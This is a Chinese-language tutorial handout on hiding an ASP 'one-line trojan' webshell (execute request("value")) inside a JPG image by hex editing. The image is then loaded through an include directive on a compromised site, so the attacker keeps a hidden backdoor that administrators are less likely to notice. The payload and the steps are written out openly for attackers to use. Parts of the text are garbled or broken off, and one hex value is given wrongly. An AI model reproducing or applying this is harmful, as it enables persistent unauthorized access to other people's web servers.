一句話木馬圖片制作三種方法重點(diǎn)講義資料

1、Copy命令制作1. asp內(nèi)容：打開cmd，數(shù)據(jù)一下命令：此時(shí)打開兩個(gè)jpg文件，相比：且打開2.jpg可以像1.jpg一樣顯示圖像。把以下代碼放入目標(biāo)網(wǎng)站，即可按asp執(zhí)行。<% #include files=”%>Uedit32（轉(zhuǎn)載）：本制作來自于：雪糕。我們通常在得到webshell之后都想給自己留個(gè)后門，等下次或以后有用得到的時(shí)候再進(jìn)來看看。但如果直接加入一句話木馬<%execute request("value")%>到asp文件中時(shí)，在該頁(yè)面上就會(huì)有類似如下的錯(cuò)誤：Microsoft VBScript 運(yùn)行時(shí)錯(cuò)誤錯(cuò)誤 '800

2、a000d'類型不匹配: 'execute'/news1/show.asp，行 3所以我們就可以開動(dòng)腦筋了，使用插入一句話木馬的圖片做我們的后門。而且我們?nèi)绻凶銐虻臋?quán)限的話（希望網(wǎng)站中的文件可寫），就直接把網(wǎng)站原有的圖片變成后門，然后在那個(gè)asp文件中加入調(diào)用圖片后門的代碼：<!-#include file="圖片后門地址"->這樣就沒有上面的“類型不匹配: 'execute'”錯(cuò)誤了，而且也更好的隱藏了我們的后門。新挑戰(zhàn)始終會(huì)伴著新事物的出現(xiàn)而出現(xiàn)，當(dāng)我們直接將我們的一句話木馬的asp文件改成jpg或gif文件的時(shí)候，

3、這個(gè)圖片文件是打不開的，這又容易被管理員發(fā)現(xiàn)。然后我們就又開始思考并尋找新的方法：制作可以顯示圖片內(nèi)容的圖片格式后門。制作步驟：一、前期準(zhǔn)備材料：2.一句話木馬服務(wù)器端代碼：<%execute request("value")%>（其他的一句話也行）Script標(biāo)簽：<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>一句話木馬服務(wù)器端代碼</SCRIPT>4.調(diào)用圖片后門代碼：<!-#include file="圖片地址"->工具：UltraEdit二、開始制作：UltraE

4、dit打開1.jpg文件，然后按CTRL +F 進(jìn)行查找圖片中的“<%”和“%>”其中<%的十六進(jìn)制代碼是3E 25，那么%>就應(yīng)該是25 3E，但是我們只把25改成00；之后我們?cè)谛陆ㄒ粋€(gè)文本編輯窗口，將我們的script標(biāo)簽代碼<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT><%execute request("value")%></SCRIPT>復(fù)制進(jìn)去，然后點(diǎn)擊右鍵選擇十六進(jìn)制編輯命令，這樣會(huì)跳轉(zhuǎn)到十六進(jìn)制數(shù)據(jù)窗口，復(fù)制所有的十六進(jìn)制的數(shù)據(jù)，粘貼到1.jpg的十六進(jìn)制編輯窗

5、口的最下面，說明：為什么要粘貼到最下面？假設(shè)你把srcipt標(biāo)簽的十六進(jìn)制代碼粘貼到中間的話，就會(huì)破壞圖片的完整性，那樣下面的圖片就看不到了，但是插入的一句話代碼還是起作用的。如圖：最后保存退出。完成整個(gè)過程，我們的圖片后門就做成?？吹搅税?，圖片和原來還是一樣的,但有時(shí)候會(huì)影響圖片顯示效果。說明：為什么要把“<%”和“%>”對(duì)應(yīng)的十六進(jìn)制中的25改成00呢？改成其他的行不行？雪糕猜想：因?yàn)樵谖覀兊囊痪湓捘抉R服務(wù)器代碼<%execute request("value")%>中含有“<%”和“%>”們，但我們使用一句話客戶端連接時(shí)，就可能發(fā)生尋找錯(cuò)誤，然后就找不到我們的一句話服務(wù)器端代碼了，所以要把圖片中的相似結(jié)構(gòu)改成其他的。我想25也應(yīng)該可以改成別的，但還沒實(shí)驗(yàn)過。2.我們已經(jīng)做好了圖片后門，然后就是簡(jiǎn)單的配置一下了。如果網(wǎng)站的asp網(wǎng)頁(yè)可以被寫入，那我們就將<!-#include file="1.jpg"->直接插入到網(wǎng)頁(yè)中，這樣這個(gè)網(wǎng)頁(yè)的url就是成了我們使用一句話客戶端連接的后門地址了；但要是不走運(yùn)，那就自己新建一個(gè)asp文件，把<!-#include file="1.jpg"->加進(jìn)去吧（這里我新建了一個(gè)1.asp文件）。Ps插入第二種方法：